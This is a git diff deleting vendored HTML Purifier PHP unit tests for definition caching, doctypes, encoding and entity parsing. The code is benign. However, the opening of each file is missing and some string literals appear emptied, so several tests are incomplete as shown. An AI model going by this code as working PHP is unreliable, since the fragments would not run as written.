a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php +++ /dev/null @@ -1,42 +0,0 @@ -type = 'Test'; - - $cache = new HTMLPurifier_DefinitionCache_Decorator(); - $cache = $cache->decorate($mock); - - $this->assertIdentical($cache->type, $mock->type); - - $def = $this->generateDefinition(); - $config = $this->generateConfigMock(); - - $mock->expectOnce('add', array($def, $config)); - $cache->add($def, $config); - - $mock->expectOnce('set', array($def, $config)); - $cache->set($def, $config); - - $mock->expectOnce('replace', array($def, $config)); - $cache->replace($def, $config); - - $mock->expectOnce('get', array($config)); - $cache->get($config); - - $mock->expectOnce('flush', array($config)); - $cache->flush($config); - - $mock->expectOnce('cleanup', array($config)); - $cache->cleanup($config); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest.php deleted file mode 100644 index 886a6642ba..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest.php +++ /dev/null @@ -1,243 +0,0 @@ -generateConfigMock('serial'); - $config->returns('get', 2, array('Test.DefinitionRev')); - $config->version = '1.0.0'; - - $config_md5 = '1.0.0,serial,2'; - - $file = realpath( - $rel_file = HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer/Test/' . - $config_md5 . '.ser' - ); - if($file && file_exists($file)) unlink($file); // prevent previous failures from causing problems - - $this->assertIdentical($config_md5, $cache->generateKey($config)); - - $def_original = $this->generateDefinition(); - - $cache->add($def_original, $config); - $this->assertFileExist($rel_file); - - $file_generated = $cache->generateFilePath($config); - $this->assertIdentical(realpath($rel_file), realpath($file_generated)); - - $def_1 = $cache->get($config); - // $this->assertIdentical($def_original, $def_1); - - $def_original->info_random = 'changed'; - - $cache->set($def_original, $config); - $def_2 = $cache->get($config); - - // $this->assertIdentical($def_original, $def_2); - // $this->assertNotEqual ($def_original, $def_1); - - $def_original->info_random = 'did it change?'; - - $this->assertFalse($cache->add($def_original, $config)); - $def_3 = $cache->get($config); - - // $this->assertNotEqual ($def_original, $def_3); // did not change! - // $this->assertIdentical($def_3, $def_2); - - $cache->replace($def_original, $config); - $def_4 = $cache->get($config); - // $this->assertIdentical($def_original, $def_4); - - $cache->remove($config); - $this->assertFileNotExist($file); - - $this->assertFalse($cache->replace($def_original, $config)); - $def_5 = $cache->get($config); - $this->assertFalse($def_5); - - } - - public function test_errors() - { - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - $def = $this->generateDefinition(); - $def->setup = true; - $def->type = 'NotTest'; - $config = $this->generateConfigMock('testfoo'); - - $this->expectError('Cannot use definition of type NotTest in cache for Test'); - $cache->add($def, $config); - - $this->expectError('Cannot use definition of type NotTest in cache for Test'); - $cache->set($def, $config); - - $this->expectError('Cannot use definition of type NotTest in cache for Test'); - $cache->replace($def, $config); - } - - public function test_flush() - { - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - - $config1 = $this->generateConfigMock('test1'); - $config2 = $this->generateConfigMock('test2'); - $config3 = $this->generateConfigMock('test3'); - - $def1 = $this->generateDefinition(array('info_candles' => 1)); - $def2 = $this->generateDefinition(array('info_candles' => 2)); - $def3 = $this->generateDefinition(array('info_candles' => 3)); - - $cache->add($def1, $config1); - $cache->add($def2, $config2); - $cache->add($def3, $config3); - - $this->assertEqual($def1, $cache->get($config1)); - $this->assertEqual($def2, $cache->get($config2)); - $this->assertEqual($def3, $cache->get($config3)); - - $cache->flush($config1); // only essential directive is %Cache.SerializerPath - - $this->assertFalse($cache->get($config1)); - $this->assertFalse($cache->get($config2)); - $this->assertFalse($cache->get($config3)); - - } - - public function testCleanup() - { - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - - // in order of age, oldest first - // note that configurations are all identical, but version/revision - // are different - - $config1 = $this->generateConfigMock(); - $config1->version = '0.9.0'; - $config1->returns('get', 574, array('Test.DefinitionRev')); - $def1 = $this->generateDefinition(array('info' => 1)); - - $config2 = $this->generateConfigMock(); - $config2->version = '1.0.0beta'; - $config2->returns('get', 1, array('Test.DefinitionRev')); - $def2 = $this->generateDefinition(array('info' => 3)); - - $cache->set($def1, $config1); - $cache->cleanup($config1); - $this->assertEqual($def1, $cache->get($config1)); // no change - - $cache->cleanup($config2); - $this->assertFalse($cache->get($config1)); - $this->assertFalse($cache->get($config2)); - - } - - public function testCleanupOnlySameID() - { - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - - $config1 = $this->generateConfigMock('serial1'); - $config1->version = '1.0.0'; - $config1->returns('get', 1, array('Test.DefinitionRev')); - $def1 = $this->generateDefinition(array('info' => 1)); - - $config2 = $this->generateConfigMock('serial2'); - $config2->version = '1.0.0'; - $config2->returns('get', 34, array('Test.DefinitionRev')); - $def2 = $this->generateDefinition(array('info' => 3)); - - $cache->set($def1, $config1); - $cache->cleanup($config1); - $this->assertEqual($def1, $cache->get($config1)); // no change - - $cache->set($def2, $config2); - $cache->cleanup($config2); - $this->assertEqual($def1, $cache->get($config1)); - $this->assertEqual($def2, $cache->get($config2)); - - $cache->flush($config1); - } - - /** - * Asserts that a file exists, ignoring the stat cache - */ - public function assertFileExist($file) - { - clearstatcache(); - $this->assertTrue(file_exists($file), 'Expected ' . $file . ' exists'); - } - - /** - * Asserts that a file does not exist, ignoring the stat cache - */ - public function assertFileNotExist($file) - { - clearstatcache(); - $this->assertFalse(file_exists($file), 'Expected ' . $file . ' does not exist'); - } - - public function testAlternatePath() - { - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - $config = $this->generateConfigMock('serial'); - $config->version = '1.0.0'; - $config->returns('get', 1, array('Test.DefinitionRev')); - $dir = dirname(__FILE__) . '/SerializerTest'; - $config->returns('get', $dir, array('Cache.SerializerPath')); - - $def_original = $this->generateDefinition(); - $cache->add($def_original, $config); - $this->assertFileExist($dir . '/Test/1.0.0,serial,1.ser'); - - unlink($dir . '/Test/1.0.0,serial,1.ser'); - rmdir( $dir . '/Test'); - - } - - public function testAlternatePermissions() - { - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - $config = $this->generateConfigMock('serial'); - $config->version = '1.0.0'; - $config->returns('get', 1, array('Test.DefinitionRev')); - $dir = dirname(__FILE__) . '/SerializerTest'; - $config->returns('get', $dir, array('Cache.SerializerPath')); - $config->returns('get', 0700, array('Cache.SerializerPermissions')); - - $def_original = $this->generateDefinition(); - $cache->add($def_original, $config); - $this->assertFileExist($dir . '/Test/1.0.0,serial,1.ser'); - - $this->assertEqual(0600, 0777 & fileperms($dir . '/Test/1.0.0,serial,1.ser')); - $this->assertEqual(0700, 0777 & fileperms($dir . '/Test')); - - unlink($dir . '/Test/1.0.0,serial,1.ser'); - rmdir( $dir . '/Test'); - - } - - public function testNoInfiniteLoop() - { - $cache = new HTMLPurifier_DefinitionCache_Serializer('Test'); - - $config = $this->generateConfigMock('serial'); - $config->version = '1.0.0'; - $config->returns('get', 1, array('Test.DefinitionRev')); - $dir = dirname(__FILE__) . '/SerializerTest'; - $config->returns('get', $dir, array('Cache.SerializerPath')); - $config->returns('get', 0400, array('Cache.SerializerPermissions')); - - $cache->cleanup($config); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest/README b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest/README deleted file mode 100644 index ba005de737..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest/README +++ /dev/null @@ -1,3 +0,0 @@ -This is a dummy file to prevent Git from ignoring this empty directory. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheFactoryTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheFactoryTest.php deleted file mode 100644 index 7135f46397..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheFactoryTest.php +++ /dev/null @@ -1,81 +0,0 @@ -factory = new HTMLPurifier_DefinitionCacheFactory(); - $this->oldFactory = HTMLPurifier_DefinitionCacheFactory::instance(); - HTMLPurifier_DefinitionCacheFactory::instance($this->factory); - } - - public function tearDown() - { - HTMLPurifier_DefinitionCacheFactory::instance($this->oldFactory); - } - - public function test_create() - { - $cache = $this->factory->create('Test', $this->config); - $this->assertEqual($cache, new HTMLPurifier_DefinitionCache_Serializer('Test')); - } - - public function test_create_withDecorator() - { - $this->factory->addDecorator('Memory'); - $cache = $this->factory->create('Test', $this->config); - $cache_real = new HTMLPurifier_DefinitionCache_Decorator_Memory(); - $ser = new HTMLPurifier_DefinitionCache_Serializer('Test'); - $cache_real = $cache_real->decorate($ser); - $this->assertEqual($cache, $cache_real); - } - - public function test_create_withDecoratorObject() - { - $this->factory->addDecorator(new HTMLPurifier_DefinitionCache_Decorator_Memory()); - $cache = $this->factory->create('Test', $this->config); - $cache_real = new HTMLPurifier_DefinitionCache_Decorator_Memory(); - $ser = new HTMLPurifier_DefinitionCache_Serializer('Test'); - $cache_real = $cache_real->decorate($ser); - $this->assertEqual($cache, $cache_real); - } - - public function test_create_recycling() - { - $cache = $this->factory->create('Test', $this->config); - $cache2 = $this->factory->create('Test', $this->config); - $this->assertReference($cache, $cache2); - } - - public function test_create_invalid() - { - $this->config->set('Cache.DefinitionImpl', 'Invalid'); - $this->expectError('Unrecognized DefinitionCache Invalid, using Serializer instead'); - $cache = $this->factory->create('Test', $this->config); - $this->assertIsA($cache, 'HTMLPurifier_DefinitionCache_Serializer'); - } - - public function test_null() - { - $this->config->set('Cache.DefinitionImpl', null); - $cache = $this->factory->create('Test', $this->config); - $this->assertEqual($cache, new HTMLPurifier_DefinitionCache_Null('Test')); - } - - public function test_register() - { - generate_mock_once('HTMLPurifier_DefinitionCache'); - $this->config->set('Cache.DefinitionImpl', 'TestCache'); - $this->factory->register('TestCache', $class = 'HTMLPurifier_DefinitionCacheMock'); - $cache = $this->factory->create('Test', $this->config); - $this->assertIsA($cache, $class); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheHarness.php deleted file mode 100644 index fce1d18225..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheHarness.php +++ /dev/null @@ -1,36 +0,0 @@ -returns('getBatchSerial', $serial, array('Test')); - $config->version = '1.0.0'; - return $config; - } - - /** - * Returns an anonymous def that has been setup and named Test - */ - protected function generateDefinition($member_vars = array()) - { - $def = new HTMLPurifier_DefinitionTestable(); - $def->setup = true; - $def->type = 'Test'; - foreach ($member_vars as $key => $val) { - $def->$key = $val; - } - return $def; - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheTest.php deleted file mode 100644 index 85642c6ff0..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionCacheTest.php +++ /dev/null @@ -1,33 +0,0 @@ -version = '1.0.0'; // hopefully no conflicts - $config->returns('get', 10, array('Test.DefinitionRev')); - $config->returns('getBatchSerial', 'hash', array('Test')); - - $this->assertIdentical($cache->isOld('1.0.0,hash,10', $config), false); - $this->assertIdentical($cache->isOld('1.5.0,hash,1', $config), true); - - $this->assertIdentical($cache->isOld('0.9.0,hash,1', $config), true); - $this->assertIdentical($cache->isOld('1.0.0,hash,1', $config), true); - $this->assertIdentical($cache->isOld('1.0.0beta,hash,11', $config), true); - - $this->assertIdentical($cache->isOld('0.9.0,hash2,1', $config), true); - $this->assertIdentical($cache->isOld('1.0.0,hash2,1', $config), false); // if hash is different, don't touch! - $this->assertIdentical($cache->isOld('1.0.0beta,hash2,11', $config), true); - $this->assertIdentical($cache->isOld('1.0.0-dev,hash2,11', $config), true); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTest.php deleted file mode 100644 index f82f9a64ff..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTest.php +++ /dev/null @@ -1,22 +0,0 @@ -expectOnce('doSetup', array($config)); - $def->setup($config); - } - public function test_setup_redundant() - { - $def = new HTMLPurifier_DefinitionTestable(); - $config = HTMLPurifier_Config::createDefault(); - $def->expectNever('doSetup'); - $def->setup = true; - $def->setup($config); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTestable.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTestable.php deleted file mode 100644 index dc37f84a3d..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/DefinitionTestable.php +++ /dev/null @@ -1,8 +0,0 @@ -register( - $name = 'XHTML 1.0 Transitional', - $xml = true, - $modules = array('module-one', 'module-two'), - $tidyModules = array('lenient-module'), - $aliases = array('X10T') - ); - - $d2 = new HTMLPurifier_Doctype($name, $xml, $modules, $tidyModules, $aliases); - - $this->assertIdentical($d, $d2); - $this->assertSame($d, $registry->get('XHTML 1.0 Transitional')); - - // test shorthand - $d = $registry->register( - $name = 'XHTML 1.0 Strict', true, 'module', 'Tidy', 'X10S' - ); - $d2 = new HTMLPurifier_Doctype($name, true, array('module'), array('Tidy'), array('X10S')); - - $this->assertIdentical($d, $d2); - - } - - public function test_get() - { - // see also alias and register tests - - $registry = new HTMLPurifier_DoctypeRegistry(); - - $this->expectError('Doctype XHTML 2.0 does not exist'); - $registry->get('XHTML 2.0'); - - // prevent XSS - $this->expectError('Doctype <foo> does not exist'); - $registry->get(''); - - } - - public function testAliases() - { - $registry = new HTMLPurifier_DoctypeRegistry(); - - $d1 = $registry->register('Doc1', true, array(), array(), array('1')); - - $this->assertSame($d1, $registry->get('Doc1')); - $this->assertSame($d1, $registry->get('1')); - - $d2 = $registry->register('Doc2', true, array(), array(), array('2')); - - $this->assertSame($d2, $registry->get('Doc2')); - $this->assertSame($d2, $registry->get('2')); - - $d3 = $registry->register('1', true, array(), array(), array()); - - // literal name overrides alias - $this->assertSame($d3, $registry->get('1')); - - $d4 = $registry->register('One', true, array(), array(), array('1')); - - $this->assertSame($d4, $registry->get('One')); - // still it overrides - $this->assertSame($d3, $registry->get('1')); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ElementDefTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ElementDefTest.php deleted file mode 100644 index 32b90d8489..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ElementDefTest.php +++ /dev/null @@ -1,102 +0,0 @@ -standalone = true; - $def1->attr = array( - 0 => array('old-include'), - 'old-attr' => $old, - 'overloaded-attr' => $overloaded_old, - 'removed-attr' => $removed, - ); - /* - $def1->attr_transform_pre = - $def1->attr_transform_post = array( - 'old-transform' => $old, - 'overloaded-transform' => $overloaded_old, - 'removed-transform' => $removed, - ); - */ - $def1->attr_transform_pre[] = $old; - $def1->attr_transform_post[] = $old; - $def1->child = $overloaded_old; - $def1->content_model = 'old'; - $def1->content_model_type = $overloaded_old; - $def1->descendants_are_inline = false; - $def1->excludes = array( - 'old' => true, - 'removed-old' => true - ); - - $def2->standalone = false; - $def2->attr = array( - 0 => array('new-include'), - 'new-attr' => $new, - 'overloaded-attr' => $overloaded_new, - 'removed-attr' => false, - ); - /* - $def2->attr_transform_pre = - $def2->attr_transform_post = array( - 'new-transform' => $new, - 'overloaded-transform' => $overloaded_new, - 'removed-transform' => false, - ); - */ - $def2->attr_transform_pre[] = $new; - $def2->attr_transform_post[] = $new; - $def2->child = $new; - $def2->content_model = '#SUPER | new'; - $def2->content_model_type = $overloaded_new; - $def2->descendants_are_inline = true; - $def2->excludes = array( - 'new' => true, - 'removed-old' => false - ); - - $def1->mergeIn($def2); - $def1->mergeIn($def3); // empty, has no effect - - $this->assertIdentical($def1->standalone, true); - $this->assertIdentical($def1->attr, array( - 0 => array('old-include', 'new-include'), - 'old-attr' => $old, - 'overloaded-attr' => $overloaded_new, - 'new-attr' => $new, - )); - $this->assertIdentical($def1->attr_transform_pre, $def1->attr_transform_post); - $this->assertIdentical($def1->attr_transform_pre, array($old, $new)); - /* - $this->assertIdentical($def1->attr_transform_pre, array( - 'old-transform' => $old, - 'overloaded-transform' => $overloaded_new, - 'new-transform' => $new, - )); - */ - $this->assertIdentical($def1->child, $new); - $this->assertIdentical($def1->content_model, 'old | new'); - $this->assertIdentical($def1->content_model_type, $overloaded_new); - $this->assertIdentical($def1->descendants_are_inline, true); - $this->assertIdentical($def1->excludes, array( - 'old' => true, - 'new' => true - )); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EncoderTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EncoderTest.php deleted file mode 100644 index 5af7b9aafa..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EncoderTest.php +++ /dev/null @@ -1,239 +0,0 @@ -_entity_lookup = HTMLPurifier_EntityLookup::instance(); - parent::setUp(); - } - - public function assertCleanUTF8($string, $expect = null) - { - if ($expect === null) $expect = $string; - $this->assertIdentical(HTMLPurifier_Encoder::cleanUTF8($string), $expect, 'iconv: %s'); - $this->assertIdentical(HTMLPurifier_Encoder::cleanUTF8($string, true), $expect, 'PHP: %s'); - } - - public function test_cleanUTF8() - { - $this->assertCleanUTF8('Normal string.'); - $this->assertCleanUTF8("Test\tAllowed\nControl\rCharacters"); - $this->assertCleanUTF8("null byte: \0", 'null byte: '); - $this->assertCleanUTF8("あ(い)う(え)お\0", "あ(い)う(え)お"); // test for issue #122 - $this->assertCleanUTF8("\1\2\3\4\5\6\7", ''); - $this->assertCleanUTF8("\x7F", ''); // one byte invalid SGML char - $this->assertCleanUTF8("\xC2\x80", ''); // two byte invalid SGML - $this->assertCleanUTF8("\xF3\xBF\xBF\xBF"); // valid four byte - $this->assertCleanUTF8("\xDF\xFF", ''); // malformed UTF8 - // invalid codepoints - $this->assertCleanUTF8("\xED\xB0\x80", ''); - } - - public function test_convertToUTF8_noConvert() - { - // UTF-8 means that we don't touch it - $this->assertIdentical( - HTMLPurifier_Encoder::convertToUTF8("\xF6", $this->config, $this->context), - "\xF6", // this is invalid - 'Expected identical [Binary: F6]' - ); - } - - public function test_convertToUTF8_spuriousEncoding() - { - if (!HTMLPurifier_Encoder::iconvAvailable()) return; - $this->config->set('Core.Encoding', 'utf99'); - $this->expectError('Invalid encoding utf99'); - $this->assertIdentical( - HTMLPurifier_Encoder::convertToUTF8("\xF6", $this->config, $this->context), - '' - ); - } - - public function test_convertToUTF8_iso8859_1() - { - $this->config->set('Core.Encoding', 'ISO-8859-1'); - $this->assertIdentical( - HTMLPurifier_Encoder::convertToUTF8("\xF6", $this->config, $this->context), - "\xC3\xB6" - ); - } - - public function test_convertToUTF8_withoutIconv() - { - $this->config->set('Core.Encoding', 'ISO-8859-1'); - $this->config->set('Test.ForceNoIconv', true); - $this->assertIdentical( - HTMLPurifier_Encoder::convertToUTF8("\xF6", $this->config, $this->context), - "\xC3\xB6" - ); - - } - - public function getZhongWen() - { - return "\xE4\xB8\xAD\xE6\x96\x87 (Chinese)"; - } - - public function test_convertFromUTF8_utf8() - { - // UTF-8 means that we don't touch it - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8("\xC3\xB6", $this->config, $this->context), - "\xC3\xB6" - ); - } - - public function test_convertFromUTF8_iso8859_1() - { - $this->config->set('Core.Encoding', 'ISO-8859-1'); - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8("\xC3\xB6", $this->config, $this->context), - "\xF6", - 'Expected identical [Binary: F6]' - ); - } - - public function test_convertFromUTF8_iconvNoChars() - { - if (!HTMLPurifier_Encoder::iconvAvailable()) return; - $this->config->set('Core.Encoding', 'ISO-8859-1'); - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8($this->getZhongWen(), $this->config, $this->context), - " (Chinese)" - ); - } - - public function test_convertFromUTF8_phpNormal() - { - // Plain PHP implementation has slightly different behavior - $this->config->set('Core.Encoding', 'ISO-8859-1'); - $this->config->set('Test.ForceNoIconv', true); - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8("\xC3\xB6", $this->config, $this->context), - "\xF6", - 'Expected identical [Binary: F6]' - ); - } - - public function test_convertFromUTF8_phpNoChars() - { - $this->config->set('Core.Encoding', 'ISO-8859-1'); - $this->config->set('Test.ForceNoIconv', true); - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8($this->getZhongWen(), $this->config, $this->context), - "?? (Chinese)" - ); - } - - public function test_convertFromUTF8_withProtection() - { - // Preserve the characters! - $this->config->set('Core.Encoding', 'ISO-8859-1'); - $this->config->set('Core.EscapeNonASCIICharacters', true); - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8($this->getZhongWen(), $this->config, $this->context), - "中文 (Chinese)" - ); - } - - public function test_convertFromUTF8_withProtectionButUtf8() - { - // Preserve the characters! - $this->config->set('Core.EscapeNonASCIICharacters', true); - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8($this->getZhongWen(), $this->config, $this->context), - "中文 (Chinese)" - ); - } - - public function test_convertToASCIIDumbLossless() - { - // Uppercase thorn letter - $this->assertIdentical( - HTMLPurifier_Encoder::convertToASCIIDumbLossless("\xC3\x9Eorn"), - "Þorn" - ); - - $this->assertIdentical( - HTMLPurifier_Encoder::convertToASCIIDumbLossless("an"), - "an" - ); - - // test up to four bytes - $this->assertIdentical( - HTMLPurifier_Encoder::convertToASCIIDumbLossless("\xF3\xA0\x80\xA0"), - "󠀠" - ); - - } - - public function assertASCIISupportCheck($enc, $ret) - { - $test = HTMLPurifier_Encoder::testEncodingSupportsASCII($enc, true); - if ($test === false) return; - $this->assertIdentical( - HTMLPurifier_Encoder::testEncodingSupportsASCII($enc), - $ret - ); - $this->assertIdentical( - HTMLPurifier_Encoder::testEncodingSupportsASCII($enc, true), - $ret - ); - } - - public function test_testEncodingSupportsASCII() - { - if (HTMLPurifier_Encoder::iconvAvailable()) { - $this->assertASCIISupportCheck('Shift_JIS', array("\xC2\xA5" => '\\', "\xE2\x80\xBE" => '~')); - $this->assertASCIISupportCheck('JOHAB', array("\xE2\x82\xA9" => '\\')); - } - $this->assertASCIISupportCheck('ISO-8859-1', array()); - $this->assertASCIISupportCheck('dontexist', array()); // canary - } - - public function testShiftJIS() - { - if (!HTMLPurifier_Encoder::iconvAvailable()) return; - $this->config->set('Core.Encoding', 'Shift_JIS'); - // This actually looks like a Yen, but we're going to treat it differently - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8('\\~', $this->config, $this->context), - '\\~' - ); - $this->assertIdentical( - HTMLPurifier_Encoder::convertToUTF8('\\~', $this->config, $this->context), - '\\~' - ); - } - - public function testIconvTruncateBug() - { - if (!HTMLPurifier_Encoder::iconvAvailable()) return; - if (HTMLPurifier_Encoder::testIconvTruncateBug() !== HTMLPurifier_Encoder::ICONV_TRUNCATES) return; - $this->config->set('Core.Encoding', 'ISO-8859-1'); - $this->assertIdentical( - HTMLPurifier_Encoder::convertFromUTF8("\xE4\xB8\xAD" . str_repeat('a', 10000), $this->config, $this->context), - str_repeat('a', 10000) - ); - } - - public function testIconvChunking() - { - if (!HTMLPurifier_Encoder::iconvAvailable()) return; - if (HTMLPurifier_Encoder::testIconvTruncateBug() !== HTMLPurifier_Encoder::ICONV_TRUNCATES) return; - $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "a\xF3\xA0\x80\xA0b", 4), 'ab'); - $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aa\xE4\xB8\xADb", 4), 'aab'); - $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aaa\xCE\xB1b", 4), 'aaab'); - $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aaaa\xF3\xA0\x80\xA0b", 4), 'aaaab'); - $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aaaa\xE4\xB8\xADb", 4), 'aaaab'); - $this->assertIdentical(HTMLPurifier_Encoder::iconv('utf-8', 'iso-8859-1//IGNORE', "aaaa\xCE\xB1b", 4), 'aaaab'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityLookupTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityLookupTest.php deleted file mode 100644 index 8bba0216f3..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityLookupTest.php +++ /dev/null @@ -1,27 +0,0 @@ -assertIdentical('â', $lookup->table['acirc']); - - // special char - $this->assertIdentical('"', $lookup->table['quot']); - $this->assertIdentical('“', $lookup->table['ldquo']); - $this->assertIdentical('<', $lookup->table['lt']); // expressed strangely in source file - - // symbol char - $this->assertIdentical('θ', $lookup->table['theta']); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityParserTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityParserTest.php deleted file mode 100644 index 54dd49c4b4..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/EntityParserTest.php +++ /dev/null @@ -1,101 +0,0 @@ -EntityParser = new HTMLPurifier_EntityParser(); - $this->_entity_lookup = HTMLPurifier_EntityLookup::instance(); - } - - public function test_substituteNonSpecialEntities() - { - $char_theta = $this->_entity_lookup->table['theta']; - $this->assertIdentical($char_theta, - $this->EntityParser->substituteNonSpecialEntities('θ') ); - $this->assertIdentical($char_theta, - $this->EntityParser->substituteTextEntities('θ') ); - $this->assertIdentical('"', - $this->EntityParser->substituteNonSpecialEntities('"') ); - $this->assertIdentical('"', - $this->EntityParser->substituteTextEntities('"') ); - - // numeric tests, adapted from Feyd - $args = array(); - $args[] = array(1114112,false ); - $args[] = array(1114111,'F48FBFBF'); // 0x0010FFFF - $args[] = array(1048576,'F4808080'); // 0x00100000 - $args[] = array(1048575,'F3BFBFBF'); // 0x000FFFFF - $args[] = array(262144, 'F1808080'); // 0x00040000 - $args[] = array(262143, 'F0BFBFBF'); // 0x0003FFFF - $args[] = array(65536, 'F0908080'); // 0x00010000 - $args[] = array(65535, 'EFBFBF' ); // 0x0000FFFF - $args[] = array(57344, 'EE8080' ); // 0x0000E000 - $args[] = array(57343, false ); // 0x0000DFFF these are ill-formed - $args[] = array(56040, false ); // 0x0000DAE8 these are ill-formed - $args[] = array(55296, false ); // 0x0000D800 these are ill-formed - $args[] = array(55295, 'ED9FBF' ); // 0x0000D7FF - $args[] = array(53248, 'ED8080' ); // 0x0000D000 - $args[] = array(53247, 'ECBFBF' ); // 0x0000CFFF - $args[] = array(4096, 'E18080' ); // 0x00001000 - $args[] = array(4095, 'E0BFBF' ); // 0x00000FFF - $args[] = array(2048, 'E0A080' ); // 0x00000800 - $args[] = array(2047, 'DFBF' ); // 0x000007FF - $args[] = array(128, 'C280' ); // 0x00000080 invalid SGML char - $args[] = array(127, '7F' ); // 0x0000007F invalid SGML char - $args[] = array(0, '00' ); // 0x00000000 invalid SGML char - - $args[] = array(20108, 'E4BA8C' ); // 0x00004E8C - $args[] = array(77, '4D' ); // 0x0000004D - $args[] = array(66306, 'F0908C82'); // 0x00010302 - $args[] = array(1072, 'D0B0' ); // 0x00000430 - - foreach ($args as $arg) { - $string = '&#' . $arg[0] . ';' . // decimal - '&#x' . dechex($arg[0]) . ';'; // hex - $expect = ''; - if ($arg[1] !== false) { - // this is only for PHP 5, the below is PHP 5 and PHP 4 - //$chars = str_split($arg[1], 2); - $chars = array(); - // strlen must be called in loop because strings size changes - for ($i = 0; strlen($arg[1]) > $i; $i += 2) { - $chars[] = $arg[1][$i] . $arg[1][$i+1]; - } - foreach ($chars as $char) { - $expect .= chr(hexdec($char)); - } - $expect .= $expect; // double it - } - $this->assertIdentical( - $this->EntityParser->substituteNonSpecialEntities($string), - $expect, - 'Identical expectation [Hex: '. dechex($arg[0]) .']' - ); - $this->assertIdentical( - $this->EntityParser->substituteTextEntities($string), - $expect, - 'Identical expectation [Hex: '. dechex($arg[0]) .']' - ); - } - - } - - public function test_substituteSpecialEntities() - { - $this->assertIdentical( - "'", - $this->EntityParser->substituteSpecialEntities(''') - ); - $this->assertIdentical( - "'", - $this->EntityParser->substituteTextEntities(''') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorEMock.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorEMock.php deleted file mode 100644 index 754d446a37..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/ErrorCollectorEMock.php +++ /dev/null @@ -1,52 +0,0 @@ -_context = $context; - } - - public function expectContext($key, $value) - { - $this->_expected_context[$key] = $value; - } - public function expectContextAt($step, $key, $value) - { - $this->_expected_context_at[$step][$key] = $value; - } - - public function send($v1, $v2) - { - // test for context - $context = SimpleTest::getContext(); - $test = $context->getTest(); 